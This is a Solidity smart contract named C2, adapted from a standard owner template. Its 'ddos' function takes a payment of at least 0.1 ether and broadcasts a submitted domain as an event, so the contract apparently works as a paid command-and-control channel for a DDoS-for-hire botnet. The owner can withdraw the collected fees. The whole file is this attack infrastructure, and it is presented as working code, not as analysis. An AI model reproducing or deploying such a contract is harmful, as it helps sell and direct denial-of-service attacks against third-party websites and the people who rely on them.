c2.sol

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

/**
 * @title Owner
 * @dev Set & change owner
 */
contract C2 {

    address private owner;
    
    // event for EVM logging
    event OwnerSet(address oldOwner, address newOwner);
    event C2Domain(string domain);

    // modifier to check if caller is owner
    modifier isOwner() {
        // If the first argument of 'require' evaluates to 'false', execution terminates and all
        // changes to the state and to Ether balances are reverted.
        // This used to consume all gas in old EVM versions, but not anymore.
        // It is often a good idea to use 'require' to check if functions are called correctly.
        // As a second argument, you can also provide an explanation about what went wrong.
        require(msg.sender == owner, "Caller is not owner");
        _;
    }
    
    /**
     * @dev Set contract deployer as owner
     */
    constructor() {
        owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor
        emit OwnerSet(address(0), owner);
    }

    /**
     * @dev Return owner address 
     * @return address of owner
     */
    function getOwner() external view returns (address) {
        return owner;
    }

    function withdraw() public isOwner {
        uint amount = address(this).balance;
        (bool success, ) = owner.call{value: amount}("");
        require(success, "Failed to send Ether");
    }

    function ddos(string calldata domain) payable public {
        require(msg.value >= .1 ether);
        emit C2Domain(domain);
    }
}